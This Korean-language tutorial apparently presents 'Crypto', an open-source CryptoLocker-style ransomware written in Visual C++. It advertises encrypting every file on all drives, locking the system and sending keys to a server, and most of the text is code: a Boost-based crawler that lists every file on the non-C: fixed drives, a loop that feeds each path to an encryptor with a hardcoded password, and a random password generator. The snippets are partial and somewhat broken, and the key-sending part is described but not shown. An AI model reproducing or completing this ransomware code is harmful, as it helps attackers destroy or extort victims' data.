
CryptoLocker는 오픈 소스 파일 암호화기입니다. Crypto는 Visual C++로 개발되었습니다. 모든 파일을 암호화하고, 시스템을 잠그며, 서버로 키를 다시 보내는 기능이 있습니다. 멀티스레드 기능은 이 도구가 암호화를 더 빠르게 수행하도록 돕습니다.
Crypto는 오픈 소스 Crypto-Locker입니다. Crypto는 Visual C++로 개발되었습니다. 모든 파일을 암호화하고, 시스템을 잠그며, 서버로 키를 전송하는 기능이 있습니다. 멀티스레드 기능은 이 도구가 암호화를 더 빠르게 수행하도록 돕습니다.
강력한 256비트 암호화 알고리즘을 사용하여 파일이 암호화되면 암호 없이는 파일을 완전히 사용할 수 없습니다. 단순히 읽을 수 없습니다.
모든 드라이브에서 모든 파일을 가져와 암호화합니다.
다음은 Visual C++ 프로그램으로, 드라이브의 모든 디렉터리 및 파일 목록을 가져와 나중에 암호화에 사용할 경로를 텍스트 파일에 저장합니다. Boost C++ 라이브러리를 사용하여 모든 파일 목록을 가져옵니다. 프로그램을 컴파일하려면 먼저 Boost 라이브러리를 설정하십시오.
#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>
using namespace std;
fstream out_file("data.txt", ios::out);
#define MAX 256
int main(int argc, char* argv[]) {
int dr_type = 99;
char dr_avail[MAX];
char *temp = dr_avail;
/* 1st we fill the buffer */
GetLogicalDriveStrings(MAX, dr_avail);
while (*temp != NULL) { // Split the buffer by null
dr_type = GetDriveType(temp);
char skip[10] = "C:\\";
if (dr_type == 3 && temp[0] != 'C') {
boost::system::error_code dir_error;
for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
if (dir_error.value()) {
cerr << "Error accessing file: " << dir_error.message() << endl;
}
else {
cout << dir->path() << endl;
out_file << dir->path() << "\n";
}
}
}
temp += lstrlen(temp) + 1;
}
out_file.close();
system("pause");
여기서는 먼저 "data.txt"에서 모든 파일 경로를 한 줄씩 가져와 암호화 유형과 암호와 함께 이 crypy 도구로 보냅니다. 또한 이 전체 프로그램을 상위 루프에 포함시켜 경로를 가져오고 데이터를 재귀적으로 암호화할 수 있습니다.
out_file.open("data.txt", ios::in);
string line;
while (out_file.good()) {
getline(out_file, line);
cout << line << endl;
std::string cmmd = "crpt.exe -e -p 4321 ";
cmmd += line;
system(cmmd.c_str());
}
길이를 함수에 전달하면 함수가 암호화에 사용할 수 있는 복잡한 긴 생성 암호를 반환합니다.
string RandomString(int len)
{
srand(time(0));
string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string newstr;
int pos;
while (newstr.size() != len) {
pos = ((rand() % (str.size() - 1)));
newstr += str.substr(pos, 1);
}
return newstr;
}